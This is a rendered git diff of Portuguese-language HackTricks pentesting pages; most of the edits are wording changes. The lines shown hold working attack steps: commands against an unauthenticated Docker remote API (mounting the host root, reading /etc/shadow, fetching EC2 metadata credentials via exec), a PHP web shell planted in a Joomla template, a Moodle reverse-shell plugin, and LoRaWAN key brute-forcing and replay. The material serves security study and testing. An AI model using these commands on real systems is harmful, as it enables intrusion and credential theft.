- [**containerd**](http://containerd.io): Este é um **runtime central** para containers, encarregado da **gestão abrangente do ciclo de vida de um container**. Isso envolve o manuseio de **transferência e armazenamento de imagens**, além de supervisionar a **execução, monitoramento e rede** de containers. **Mais detalhes** sobre containerd são **explorados mais adiante**.
 | 
					- [**containerd**](http://containerd.io): Este é um **runtime central** para containers, encarregado da **gestão abrangente do ciclo de vida de um container**. Isso envolve o manuseio de **transferência e armazenamento de imagens**, além de supervisionar a **execução, monitoramento e rede** de containers. **Mais detalhes** sobre containerd são **explorados mais a fundo**.
 | 
				
			||||||
- O **container-shim** desempenha um papel crítico como um **intermediário** no manuseio de **containers sem cabeça**, assumindo de forma contínua a partir do **runc** após os containers serem inicializados.
 | 
					- O **container-shim** desempenha um papel crítico como um **intermediário** no manuseio de **containers sem cabeça**, assumindo de forma contínua a partir do **runc** após os containers serem inicializados.
 | 
				
			||||||
- [**runc**](http://runc.io): Reconhecido por suas capacidades de **runtime de container leve e universal**, runc está alinhado com o **padrão OCI**. É utilizado pelo containerd para **iniciar e gerenciar containers** de acordo com as **diretrizes OCI**, tendo evoluído do original **libcontainer**.
 | 
					- [**runc**](http://runc.io): Reconhecido por suas capacidades de **runtime de container leve e universal**, runc está alinhado com o **padrão OCI**. É utilizado pelo containerd para **iniciar e gerenciar containers** de acordo com as **diretrizes OCI**, tendo evoluído do original **libcontainer**.
 | 
				
			||||||
- [**grpc**](http://www.grpc.io) é essencial para **facilitar a comunicação** entre containerd e o **docker-engine**, garantindo uma **interação eficiente**.
 | 
					- [**grpc**](http://www.grpc.io) é essencial para **facilitar a comunicação** entre containerd e o **docker-engine**, garantindo uma **interação eficiente**.
 | 
				
			||||||
@ -45,7 +45,7 @@ docker system prune -a
 | 
				
			|||||||
 | 
					
 | 
				
			||||||
Uma decisão de design chave é que **Containerd não lida com redes**. A rede é considerada um elemento crítico em sistemas distribuídos, com complexidades como Redes Definidas por Software (SDN) e descoberta de serviços que variam significativamente de uma plataforma para outra. Portanto, o Containerd deixa os aspectos de rede para serem gerenciados pelas plataformas que suporta.
 | 
					Uma decisão de design chave é que **Containerd não lida com redes**. A rede é considerada um elemento crítico em sistemas distribuídos, com complexidades como Redes Definidas por Software (SDN) e descoberta de serviços que variam significativamente de uma plataforma para outra. Portanto, o Containerd deixa os aspectos de rede para serem gerenciados pelas plataformas que suporta.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Enquanto **Docker utiliza Containerd** para executar contêineres, é importante notar que o Containerd suporta apenas um subconjunto das funcionalidades do Docker. Especificamente, o Containerd não possui as capacidades de gerenciamento de rede presentes no Docker e não suporta a criação de swarms do Docker diretamente. Essa distinção destaca o papel focado do Containerd como um ambiente de execução de contêiner, delegando funcionalidades mais especializadas para as plataformas com as quais se integra.
 | 
					Enquanto **Docker utiliza Containerd** para executar contêineres, é importante notar que o Containerd suporta apenas um subconjunto das funcionalidades do Docker. Especificamente, o Containerd não possui as capacidades de gerenciamento de rede presentes no Docker e não suporta a criação de swarms do Docker diretamente. Essa distinção destaca o papel focado do Containerd como um ambiente de execução de contêiner, delegando funcionalidades mais especializadas às plataformas com as quais se integra.
 | 
				
			||||||
```bash
 | 
					```bash
 | 
				
			||||||
#Containerd CLI
 | 
					#Containerd CLI
 | 
				
			||||||
ctr images pull --skip-verify --plain-http registry:5000/alpine:latest #Get image
 | 
					ctr images pull --skip-verify --plain-http registry:5000/alpine:latest #Get image
 | 
				
			||||||
@ -70,12 +70,12 @@ Podman é projetado para ser compatível com a API do Docker, permitindo o uso d
 | 
				
			|||||||
**Principais Diferenças**
 | 
					**Principais Diferenças**
 | 
				
			||||||
 | 
					
 | 
				
			||||||
- **Arquitetura**: Ao contrário do modelo cliente-servidor do Docker com um daemon em segundo plano, o Podman opera sem um daemon. Esse design significa que os contêineres são executados com os privilégios do usuário que os inicia, aumentando a segurança ao eliminar a necessidade de acesso root.
 | 
					- **Arquitetura**: Ao contrário do modelo cliente-servidor do Docker com um daemon em segundo plano, o Podman opera sem um daemon. Esse design significa que os contêineres são executados com os privilégios do usuário que os inicia, aumentando a segurança ao eliminar a necessidade de acesso root.
 | 
				
			||||||
- **Integração com Systemd**: O Podman se integra ao **systemd** para gerenciar contêineres, permitindo a gestão de contêineres através de unidades do systemd. Isso contrasta com o uso do systemd pelo Docker, que é principalmente para gerenciar o processo do daemon do Docker.
 | 
					- **Integração com Systemd**: O Podman se integra ao **systemd** para gerenciar contêineres, permitindo o gerenciamento de contêineres por meio de unidades do systemd. Isso contrasta com o uso do systemd pelo Docker, que é principalmente para gerenciar o processo do daemon do Docker.
 | 
				
			||||||
- **Contêineres Sem Root**: Uma característica fundamental do Podman é sua capacidade de executar contêineres sob os privilégios do usuário que os inicia. Essa abordagem minimiza os riscos associados a brechas em contêineres, garantindo que os atacantes obtenham apenas os privilégios do usuário comprometido, e não acesso root.
 | 
					- **Contêineres Sem Root**: Uma característica fundamental do Podman é sua capacidade de executar contêineres sob os privilégios do usuário que os inicia. Essa abordagem minimiza os riscos associados a brechas em contêineres, garantindo que os atacantes obtenham apenas os privilégios do usuário comprometido, e não acesso root.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
A abordagem do Podman oferece uma alternativa segura e flexível ao Docker, enfatizando a gestão de privilégios do usuário e a compatibilidade com fluxos de trabalho existentes do Docker.
 | 
					A abordagem do Podman oferece uma alternativa segura e flexível ao Docker, enfatizando o gerenciamento de privilégios do usuário e a compatibilidade com fluxos de trabalho existentes do Docker.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
> [!NOTE]
 | 
					> [!TIP]
 | 
				
			||||||
> Note que, como o podman visa suportar a mesma API que o docker, você pode usar os mesmos comandos com podman que com docker, como:
 | 
					> Note que, como o podman visa suportar a mesma API que o docker, você pode usar os mesmos comandos com podman que com docker, como:
 | 
				
			||||||
>
 | 
					>
 | 
				
			||||||
> ```bash
 | 
					> ```bash
 | 
				
			||||||
@ -87,7 +87,7 @@ A abordagem do Podman oferece uma alternativa segura e flexível ao Docker, enfa
 | 
				
			|||||||
 | 
					
 | 
				
			||||||
### Informações Básicas
 | 
					### Informações Básicas
 | 
				
			||||||
 | 
					
 | 
				
			||||||
A API remota está em execução por padrão na porta 2375 quando habilitada. O serviço, por padrão, não exigirá autenticação, permitindo que um atacante inicie um contêiner docker privilegiado. Ao usar a API remota, pode-se anexar hosts / (diretório raiz) ao contêiner e ler/gravar arquivos do ambiente do host.
 | 
					A API remota está em execução por padrão na porta 2375 quando habilitada. O serviço, por padrão, não exigirá autenticação, permitindo que um atacante inicie um contêiner docker privilegiado. Ao usar a API remota, pode-se anexar hosts / (diretório raiz) ao contêiner e ler/escrever arquivos do ambiente do host.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
**Porta padrão:** 2375
 | 
					**Porta padrão:** 2375
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
@ -98,7 +98,7 @@ PORT    STATE SERVICE
 | 
				
			|||||||
 | 
					
 | 
				
			||||||
#### Manual
 | 
					#### Manual
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Note que, para enumerar a API do docker, você pode usar o comando `docker` ou `curl`, como no seguinte exemplo:
 | 
					Observe que, para enumerar a API do docker, você pode usar o comando `docker` ou `curl`, como no seguinte exemplo:
 | 
				
			||||||
```bash
 | 
					```bash
 | 
				
			||||||
#Using curl
 | 
					#Using curl
 | 
				
			||||||
curl -s http://open.docker.socket:2375/version | jq #Get version
 | 
					curl -s http://open.docker.socket:2375/version | jq #Get version
 | 
				
			||||||
@ -134,12 +134,12 @@ docker-init:
 | 
				
			|||||||
Version:          0.18.0
 | 
					Version:          0.18.0
 | 
				
			||||||
GitCommit:        fec3683
 | 
					GitCommit:        fec3683
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
Se você pode **contatar a API remota do docker com o comando `docker`** você pode **executar** qualquer um dos **comandos** do **docker** [**comentados anteriormente**](2375-pentesting-docker.md#basic-commands) para interagir com o serviço.
 | 
					Se você pode **contatar a API remota do docker com o comando `docker`** você pode **executar** qualquer um dos **comandos do docker** [**comentados anteriormente**](2375-pentesting-docker.md#basic-commands) para interagir com o serviço.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
> [!NOTE]
 | 
					> [!TIP]
 | 
				
			||||||
> Você pode `export DOCKER_HOST="tcp://localhost:2375"` e **evitar** usar o parâmetro `-H` com o comando docker
 | 
					> Você pode `export DOCKER_HOST="tcp://localhost:2375"` e **evitar** usar o parâmetro `-H` com o comando docker
 | 
				
			||||||
 | 
					
 | 
				
			||||||
**Escalação rápida de privilégios**
 | 
					**Escalada de privilégios rápida**
 | 
				
			||||||
```bash
 | 
					```bash
 | 
				
			||||||
docker run -it -v /:/host/ ubuntu:latest chroot /host/ bash
 | 
					docker run -it -v /:/host/ ubuntu:latest chroot /host/ bash
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
@ -152,7 +152,7 @@ curl –insecure https://tlsopen.docker.socket:2376/containers/json | jq
 | 
				
			|||||||
#List processes inside a container
 | 
					#List processes inside a container
 | 
				
			||||||
curl –insecure https://tlsopen.docker.socket:2376/containers/f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668/top | jq
 | 
					curl –insecure https://tlsopen.docker.socket:2376/containers/f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668/top | jq
 | 
				
			||||||
#Set up and exec job to hit the metadata URL
 | 
					#Set up and exec job to hit the metadata URL
 | 
				
			||||||
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}'
 | 
					curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- [http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}']
 | 
				
			||||||
#Get the output
 | 
					#Get the output
 | 
				
			||||||
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55/start -d '{}'
 | 
					curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55/start -d '{}'
 | 
				
			||||||
# list secrets (no secrets/swarm not set up)
 | 
					# list secrets (no secrets/swarm not set up)
 | 
				
			||||||
@ -190,7 +190,7 @@ Na página a seguir, você pode encontrar maneiras de **escapar de um contêiner
 | 
				
			|||||||
../linux-hardening/privilege-escalation/docker-security/
 | 
					../linux-hardening/privilege-escalation/docker-security/
 | 
				
			||||||
{{#endref}}
 | 
					{{#endref}}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Abusando disso, é possível escapar de um contêiner; você poderia executar um contêiner fraco na máquina remota, escapar dele e comprometer a máquina:
 | 
					Abusando disso, é possível escapar de um contêiner, você poderia executar um contêiner fraco na máquina remota, escapar dele e comprometer a máquina:
 | 
				
			||||||
```bash
 | 
					```bash
 | 
				
			||||||
docker -H <host>:2375 run --rm -it --privileged --net=host -v /:/mnt alpine
 | 
					docker -H <host>:2375 run --rm -it --privileged --net=host -v /:/mnt alpine
 | 
				
			||||||
cat /mnt/etc/shadow
 | 
					cat /mnt/etc/shadow
 | 
				
			||||||
 | 
				
			|||||||
@ -5,7 +5,7 @@
 | 
				
			|||||||
 | 
					
 | 
				
			||||||
### Estatísticas do Joomla
 | 
					### Estatísticas do Joomla
 | 
				
			||||||
 | 
					
 | 
				
			||||||
O Joomla coleta algumas [estatísticas de uso](https://developer.joomla.org/about/stats.html) anônimas, como a distribuição das versões do Joomla, PHP e bancos de dados, além dos sistemas operacionais de servidor em uso nas instalações do Joomla. Esses dados podem ser consultados por meio de sua [API](https://developer.joomla.org/about/stats/api.html) pública.
 | 
					O Joomla coleta algumas [estatísticas de uso](https://developer.joomla.org/about/stats.html) anônimas, como a distribuição das versões do Joomla, PHP e dos sistemas de banco de dados, além dos sistemas operacionais de servidor em uso nas instalações do Joomla. Esses dados podem ser consultados através de sua [API](https://developer.joomla.org/about/stats/api.html) pública.
 | 
				
			||||||
```bash
 | 
					```bash
 | 
				
			||||||
curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool
 | 
					curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool
 | 
				
			||||||
 | 
					
 | 
				
			||||||
@ -58,7 +58,7 @@ curl https://www.joomla.org/ | grep Joomla | grep generator
 | 
				
			|||||||
1- What is this?
 | 
					1- What is this?
 | 
				
			||||||
* This is a Joomla! installation/upgrade package to version 3.x
 | 
					* This is a Joomla! installation/upgrade package to version 3.x
 | 
				
			||||||
* Joomla! Official site: https://www.joomla.org
 | 
					* Joomla! Official site: https://www.joomla.org
 | 
				
			||||||
* Joomla! 3.9 version history - https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history
 | 
					* Joomla! 3.9 version history - [https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history](https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history)
 | 
				
			||||||
* Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging
 | 
					* Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
### Versão
 | 
					### Versão
 | 
				
			||||||
@ -92,18 +92,18 @@ admin:admin
 | 
				
			|||||||
```
 | 
					```
 | 
				
			||||||
## RCE
 | 
					## RCE
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Se você conseguiu obter **credenciais de admin**, você pode **RCE dentro dele** adicionando um trecho de **código PHP** para ganhar **RCE**. Podemos fazer isso **personalizando** um **template**.
 | 
					Se você conseguiu obter **credenciais de admin**, pode **RCE dentro dele** adicionando um trecho de **código PHP** para ganhar **RCE**. Podemos fazer isso **personalizando** um **template**.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
1. **Clique** em **`Templates`** no canto inferior esquerdo sob `Configuration` para abrir o menu de templates.
 | 
					1. **Clique** em **`Templates`** no canto inferior esquerdo sob `Configuration` para abrir o menu de templates.
 | 
				
			||||||
2. **Clique** em um nome de **template**. Vamos escolher **`protostar`** sob o cabeçalho da coluna `Template`. Isso nos levará à página **`Templates: Customise`**.
 | 
					2. **Clique** em um nome de **template**. Vamos escolher **`protostar`** sob o cabeçalho da coluna `Template`. Isso nos levará à página **`Templates: Customise`**.
 | 
				
			||||||
3. Finalmente, você pode clicar em uma página para abrir o **código fonte** da página. Vamos escolher a página **`error.php`**. Vamos adicionar um **PHP one-liner para ganhar execução de código** da seguinte forma:
 | 
					3. Finalmente, você pode clicar em uma página para abrir o **código fonte** da página. Vamos escolher a página **`error.php`**. Adicionaremos um **PHP one-liner para ganhar execução de código** da seguinte forma:
 | 
				
			||||||
1. **`system($_GET['cmd']);`**
 | 
					1. **`system($_GET['cmd']);`**
 | 
				
			||||||
4. **Salvar & Fechar**
 | 
					4. **Salvar & Fechar**
 | 
				
			||||||
5. `curl -s http://joomla-site.local/templates/protostar/error.php?cmd=id`
 | 
					5. `curl -s http://joomla-site.local/templates/protostar/error.php?cmd=id`
 | 
				
			||||||
 | 
					
 | 
				
			||||||
## De XSS a RCE
 | 
					## De XSS a RCE
 | 
				
			||||||
 | 
					
 | 
				
			||||||
- [**JoomSploit**](https://github.com/nowak0x01/JoomSploit): Script de Exploração Joomla que **eleva XSS a RCE ou Outras Vulnerabilidades Críticas**. Para mais informações, confira [**este post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Ele fornece **suporte para as Versões Joomla 5.X.X, 4.X.X e 3.X.X, e permite:**
 | 
					- [**JoomSploit**](https://github.com/nowak0x01/JoomSploit): Script de Exploração Joomla que **eleva XSS a RCE ou Outras Vulnerabilidades Críticas**. Para mais informações, consulte [**este post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Ele fornece **suporte para as Versões Joomla 5.X.X, 4.X.X e 3.X.X, e permite:**
 | 
				
			||||||
- _**Escalação de Privilégios:**_ Cria um usuário no Joomla.
 | 
					- _**Escalação de Privilégios:**_ Cria um usuário no Joomla.
 | 
				
			||||||
- _**(RCE) Edição de Templates Integrados:**_ Edita Templates Integrados no Joomla.
 | 
					- _**(RCE) Edição de Templates Integrados:**_ Edita Templates Integrados no Joomla.
 | 
				
			||||||
- _**(Custom) Exploits Personalizados:**_ Exploits Personalizados para Plugins de Terceiros do Joomla.
 | 
					- _**(Custom) Exploits Personalizados:**_ Exploits Personalizados para Plugins de Terceiros do Joomla.
 | 
				
			||||||
 | 
				
			|||||||
@ -20,8 +20,8 @@ http://moodle.schooled.htb/moodle/mod/forum/version.php
 | 
				
			|||||||
3.10.0-beta
 | 
					3.10.0-beta
 | 
				
			||||||
 | 
					
 | 
				
			||||||
[+] Possible interesting urls found:
 | 
					[+] Possible interesting urls found:
 | 
				
			||||||
Static readme file. - http://moodle.schooled.htb/moodle/README.txt
 | 
					Static readme file. - [http://moodle.schooled.htb/moodle/README.txt](http://moodle.schooled.htb/moodle/README.txt)
 | 
				
			||||||
Admin panel - http://moodle.schooled.htb/moodle/login/
 | 
					Admin panel - [http://moodle.schooled.htb/moodle/login/](http://moodle.schooled.htb/moodle/login/)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
[+] Scan finished (0:00:05.643539 elapsed)
 | 
					[+] Scan finished (0:00:05.643539 elapsed)
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
@ -72,7 +72,7 @@ Você precisa ter o papel de **gerente** e você **pode instalar plugins** dentr
 | 
				
			|||||||
 | 
					
 | 
				
			||||||
Se você for gerente, pode ainda precisar **ativar esta opção**. Você pode ver como no PoC de escalonamento de privilégios do moodle: [https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321).
 | 
					Se você for gerente, pode ainda precisar **ativar esta opção**. Você pode ver como no PoC de escalonamento de privilégios do moodle: [https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321).
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Então, você pode **instalar o seguinte plugin** que contém o clássico pentest-monkey php r**ev shell** (_antes de enviá-lo, você precisa descompactá-lo, mudar o IP e a porta do revshell e compactá-lo novamente_)
 | 
					Então, você pode **instalar o seguinte plugin** que contém o clássico rev shell php do pentest-monkey (_antes de enviá-lo, você precisa descompactá-lo, mudar o IP e a porta do revshell e compactá-lo novamente_)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
{{#file}}
 | 
					{{#file}}
 | 
				
			||||||
moodle-rce-plugin.zip
 | 
					moodle-rce-plugin.zip
 | 
				
			||||||
 | 
				
			|||||||
@ -25,7 +25,7 @@ Long Range (**LoRa**) é atualmente a camada física LPWAN mais implantada e sua
 | 
				
			|||||||
| Camada | Fraqueza | Impacto prático |
 | 
					| Camada | Fraqueza | Impacto prático |
 | 
				
			||||||
|--------|----------|------------------|
 | 
					|--------|----------|------------------|
 | 
				
			||||||
| PHY    | Jamming reativo / seletivo | 100 % de perda de pacotes demonstrada com um único SDR e <1 W de saída |
 | 
					| PHY    | Jamming reativo / seletivo | 100 % de perda de pacotes demonstrada com um único SDR e <1 W de saída |
 | 
				
			||||||
| MAC    | Repetição de Join-Accept & data-frame (reutilização de nonce, rollover de contador ABP) | Spoofing de dispositivo, injeção de mensagem, DoS |
 | 
					| MAC    | Repetição de Join-Accept & data-frame (reutilização de nonce, rollover de contador ABP) | Spoofing de dispositivo, injeção de mensagens, DoS |
 | 
				
			||||||
| Servidor de Rede | Encaminhador de pacotes inseguro, filtros MQTT/UDP fracos, firmware de gateway desatualizado | RCE em gateways → pivotar para a rede OT/IT |
 | 
					| Servidor de Rede | Encaminhador de pacotes inseguro, filtros MQTT/UDP fracos, firmware de gateway desatualizado | RCE em gateways → pivotar para a rede OT/IT |
 | 
				
			||||||
| Aplicação | AppKeys codificadas ou previsíveis | Força bruta/descriptografar tráfego, impersonar sensores |
 | 
					| Aplicação | AppKeys codificadas ou previsíveis | Força bruta/descriptografar tráfego, impersonar sensores |
 | 
				
			||||||
 | 
					
 | 
				
			||||||
@ -50,13 +50,13 @@ python3 lorattack/sniffer.py \
 | 
				
			|||||||
# Bruteforce AppKey from captured OTAA join-request/accept pairs
 | 
					# Bruteforce AppKey from captured OTAA join-request/accept pairs
 | 
				
			||||||
python3 lorapwn/bruteforce_join.py --pcap smartcity.pcap --wordlist top1m.txt
 | 
					python3 lorapwn/bruteforce_join.py --pcap smartcity.pcap --wordlist top1m.txt
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
### 2. OTAA join-replay (reutilização de DevNonce)
 | 
					### 2. Repetição de join OTAA (reutilização de DevNonce)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
1. Capture um **JoinRequest** legítimo.
 | 
					1. Capture um **JoinRequest** legítimo.
 | 
				
			||||||
2. Retransmita-o imediatamente (ou incremente o RSSI) antes que o dispositivo original transmita novamente.
 | 
					2. Retransmita-o imediatamente (ou incremente o RSSI) antes que o dispositivo original transmita novamente.
 | 
				
			||||||
3. O servidor de rede aloca um novo DevAddr e chaves de sessão enquanto o dispositivo alvo continua com a sessão antiga → o atacante possui a sessão vaga e pode injetar uplinks forjados.
 | 
					3. O servidor de rede aloca um novo DevAddr e chaves de sessão enquanto o dispositivo alvo continua com a sessão antiga → o atacante possui a sessão vaga e pode injetar uplinks forjados.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
### 3. Downgrade de Adaptive Data-Rate (ADR)
 | 
					### 3. Rebaixamento da Taxa de Dados Adaptativa (ADR)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Force SF12/125 kHz para aumentar o tempo de transmissão → exaurir o ciclo de trabalho do gateway (negação de serviço) enquanto mantém o impacto na bateria do atacante baixo (apenas envie comandos MAC em nível de rede).
 | 
					Force SF12/125 kHz para aumentar o tempo de transmissão → exaurir o ciclo de trabalho do gateway (negação de serviço) enquanto mantém o impacto na bateria do atacante baixo (apenas envie comandos MAC em nível de rede).
 | 
				
			||||||
 | 
					
 | 
				
			||||||
@ -72,7 +72,7 @@ Force SF12/125 kHz para aumentar o tempo de transmissão → exaurir o ciclo de
 | 
				
			|||||||
|-------------|-----------|-------|
 | 
					|-------------|-----------|-------|
 | 
				
			||||||
| **LoRaWAN Auditing Framework (LAF)** | Criar/analisar/atacar quadros LoRaWAN, analisadores com suporte a DB, força bruta | Imagem Docker, suporta entrada UDP Semtech |
 | 
					| **LoRaWAN Auditing Framework (LAF)** | Criar/analisar/atacar quadros LoRaWAN, analisadores com suporte a DB, força bruta | Imagem Docker, suporta entrada UDP Semtech |
 | 
				
			||||||
| **LoRaPWN** | Utilitário Python da Trend Micro para força bruta OTAA, gerar downlinks, descriptografar payloads | Demonstração lançada em 2023, SDR-agnóstico |
 | 
					| **LoRaPWN** | Utilitário Python da Trend Micro para força bruta OTAA, gerar downlinks, descriptografar payloads | Demonstração lançada em 2023, SDR-agnóstico |
 | 
				
			||||||
| **LoRAttack** | Sniffer multi-canal + replay com USRP; exporta PCAP/LoRaTap | Boa integração com Wireshark |
 | 
					| **LoRAttack** | Sniffer multi-canal + repetição com USRP; exporta PCAP/LoRaTap | Boa integração com Wireshark |
 | 
				
			||||||
| **gr-lora / gr-lorawan** | Blocos OOT do GNU Radio para TX/RX de banda base | Fundação para ataques personalizados |
 | 
					| **gr-lora / gr-lorawan** | Blocos OOT do GNU Radio para TX/RX de banda base | Fundação para ataques personalizados |
 | 
				
			||||||
 | 
					
 | 
				
			||||||
---
 | 
					---
 | 
				
			||||||
@ -89,6 +89,6 @@ Force SF12/125 kHz para aumentar o tempo de transmissão → exaurir o ciclo de
 | 
				
			|||||||
 | 
					
 | 
				
			||||||
## Referências
 | 
					## Referências
 | 
				
			||||||
 | 
					
 | 
				
			||||||
* LoRaWAN Auditing Framework (LAF) – https://github.com/IOActive/laf
 | 
					* LoRaWAN Auditing Framework (LAF) – [https://github.com/IOActive/laf](https://github.com/IOActive/laf)
 | 
				
			||||||
* Visão geral do Trend Micro LoRaPWN – https://www.hackster.io/news/trend-micro-finds-lorawan-security-lacking-develops-lorapwn-python-utility-bba60c27d57a
 | 
					* Visão geral do Trend Micro LoRaPWN – [https://www.hackster.io/news/trend-micro-finds-lorawan-security-lacking-develops-lorapwn-python-utility-bba60c27d57a](https://www.hackster.io/news/trend-micro-finds-lorawan-security-lacking-develops-lorapwn-python-utility-bba60c27d57a)
 | 
				
			||||||
{{#include ../../banners/hacktricks-training.md}}
 | 
					{{#include ../../banners/hacktricks-training.md}}
 | 
				
			||||||
 | 
				
			|||||||
		Loading…
	
	
			
			x
			
			
		
	
		Reference in New Issue
	
	Block a user